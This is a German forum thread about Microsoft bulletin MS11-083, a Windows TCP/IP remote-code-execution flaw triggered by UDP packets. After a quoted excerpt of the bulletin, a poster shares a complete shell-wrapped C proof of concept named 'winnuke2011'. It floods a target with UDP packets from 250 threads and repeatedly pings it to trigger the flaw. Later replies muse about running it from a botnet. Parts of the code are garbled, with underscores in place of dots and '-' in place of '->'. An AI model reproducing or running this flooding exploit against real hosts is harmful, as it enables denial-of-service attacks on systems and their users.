Microsoft Security MS11-083 - Kritisch: (TCP/IP) Remotecode ausführung via UDP

Sicherheitsanfälligkeiten in TCP/IP können Remotecodeausführung ermöglichen (2588516)

Veröffentlicht: Dienstag, 8. November 2011

Version: 1_0
Allgemeine Informationen
Kurzzusammenfassung

Dieses Sicherheitsupdate behebt eine vertraulich gemeldete Sicherheitsanfälligkeit in Microsoft Windows. Die Sicherheitsanfälligkeit kann Remotecodeausführung ermöglichen, wenn ein Angreifer einen ununterbrochenen Fluss von speziell gestalteten UDP-Paketen an einen geschlossenen Port auf einem Zielsystem sendet.

Dieses Sicherheitsupdate wird für alle unterstützten Editionen von Windows Vista, Windows Server 2008, Windows 7 und Windows Server 2008 R2 als Kritisch eingestuft. Weitere Informationen finden Sie im Unterabschnitt Betroffene und nicht betroffene Software in diesem Abschnitt.

Das Sicherheitsupdate behebt die Sicherheitsanfälligkeit, indem geändert wird, wie der Windows TCP/IP-Stapel den Verlauf von UDP-Paketen innerhalb des Speichers verfolgt. Weitere Informationen zur Sicherheitsanfälligkeit finden Sie im Unterabschnitt „Häufig gestellte Fragen (FAQs)“ für den bestimmten Sicherheitsanfälligkeitseintrag unter dem nächsten Abschnitt Informationen zu Sicherheitsanfälligkeiten.

Empfehlung. Die Mehrheit der Benutzer hat die automatische Aktualisierung aktiviert und muss keine Maßnahmen ergreifen, da dieses Sicherheitsupdate automatisch heruntergeladen und installiert wird. Benutzer, die die automatische Aktualisierung nicht aktiviert haben, müssen auf Updates prüfen und dieses Update manuell installieren. Weitere Informationen zu bestimmten Konfigurationsoptionen bei der automatischen Aktualisierung finden Sie im Microsoft Knowledge Base-Artikel 294871.

Für Administratoren und für Installationen in Unternehmen bzw. für Endbenutzer, die dieses Sicherheitsupdate manuell installieren möchten, empfiehlt Microsoft, das Update sofort mit der Updateverwaltungssoftware zu installieren bzw. mithilfe des Diensts Microsoft Update auf Updates zu prüfen.

Siehe auch den Abschnitt Tools und Anleitungen zur Erkennung und Bereitstellung weiter unten in diesem Bulletin.

Bekannte Probleme. Keine

Quelle: technet-microsoft-com (Link)

Vielleicht für den ein oder anderen ganz interessant_.

#!/bin/sh
cat >> winnuke2011_c << EOF
/*
* MS11-083 DoS/PoC exploit
* ========================
* This attempts to trigger the ICMP refCount overflow
* in TCP/IP stack of Win7/Vista/Win2k8 hosts. This
* requires sending 2^32 UDP packets to a host on a closed
* port, or 4,294,967,296 packets. A dereference function
* must be called that is not triggered via UDP but ICMP
* echo packets. This exploit creates 250 threads and
* floods a host with UDP packets and then attempts to
* trigger the de-ref using ping. I calculated that it
* would take approximately 52 days for the host to
* enter a condition where this vulnerability is
* triggerable_
*
* -- prdelka
*/
#include <stdio_h>
#include <stdlib_h>
#include <pthread_h>
#include <sys/types_h>
#include <sys/socket_h>
#include <netinet/in_h>
#include <arpa/inet_h>
#include <netdb_h>
#include <stdio_h>
#include <unistd_h>
#include <string_h>
#include <sys/time_h>

int port;
int active = 0;
pthread_mutex_t mutexactive;
void *sendpackets(void *ptr);

int main(int argc, char *argv[]) {
pthread_t thread;
int iret,lthreads;
pid_t pid;
printf("[+] MS11-083 DoS/PoC exploit\n");
if(argc<3){
printf("[!] Usage : %s <server> <port>\n", argv[0]);
exit(1);
}
char *const args[] = {"ping",argv[1],NULL};
char *const envp[] = {"",NULL};
port = atoi(argv[2]);
for(lthreads=0;lthreads<250;lthreads++){//UDP flood
iret = pthread_create(&thread,NULL,sendpackets,argv[1]);
printf("[-] Thread number %d started\n",lthreads);
sleep(1);
}
printf("[-] One does not simply barrel roll into Mordor\n");
pid = fork();
if(pid==0){// trigger deref.
execve("_/ping-sh",args,envp);
};
while(active){
}
printf("[-] You are finished. Patience is a virtue_\n");
exit(0);
}

void *sendpackets(void *ptr)
{
int sd, rc, n, echoLen, flags, error, timeOut;
unsigned long i;
struct sockaddr_in remoteServAddr;
struct hostent *h;
char str[41];
pthread_mutex_lock(&mutexactive);
active++;
pthread_mutex_unlock(&mutexactive);
srand(time(NULL));
for (i = 0;i < 40;++i){
str[i] = (char)((rand() % 78) + 30);
}
str[40] = '\0'; // yes this was off-by-one. :(
printf("[-] Sending payload '%s'\n",str);
h = gethostbyname(ptr);
if(h==NULL) {
printf("unknown host '%s' \n",(char*)ptr);
exit(1);
}
remoteServAddr-sin_family = h->h_addrtype;
memcpy((char *) &remoteServAddr-sin_addr_s_addr,h->h_addr_list[0], h->h_length);
remoteServAddr-sin_port = htons(port);
sd = socket(AF_INET,SOCK_DGRAM,0);
if(sd<0){
printf("[!] Cannot open socket\n");
pthread_exit((void*)0);
}
flags = 0;
for(i=0;i<4294967295;i++){
rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr));
if(rc<0){
printf("[!] Cannot send data\n");
close(sd);
pthread_exit((void*)0);
}
}
pthread_mutex_lock(&mutexactive);
active--;
pthread_mutex_unlock(&mutexactive);
pthread_exit(NULL);
}
EOF
cat >> ping-sh << EOF
#!/bin/sh
while \`true\`;do /sbin/ping -c 1 \$1;done
EOF
chmod +x ping-sh
gcc winnuke2011_c -o winnuke2011
_/winnuke2011

Habe das POC nicht getestet, finde im Prinzip den markierten Teil Interessant, da das die Sache doch schon wieder etwas beschränkt. (Originale Quelle habe ich dazu nicht gefunden_)

Wer Auto-Updates an hat braucht sich darum eh nicht kümmern. Ich mein man muss jetzt nicht jedes Teil posten was irgendwie gefährlich ist. Das TrueType Ding war mal eine Ausnahme.

Wer Auto-Update aus hat ist eh doof und wer kein Win 7 x64 einsetzt sowieso :P

Also ist das ein Exploit den man über ein Botnetzwerk testen könnte oder einfach 52 Tage brauch dafür?


Meine Frage is jetzt warum brauch das so lange? Wird der Code erst bei einem Überlauffehler eingeschleust oder wie ?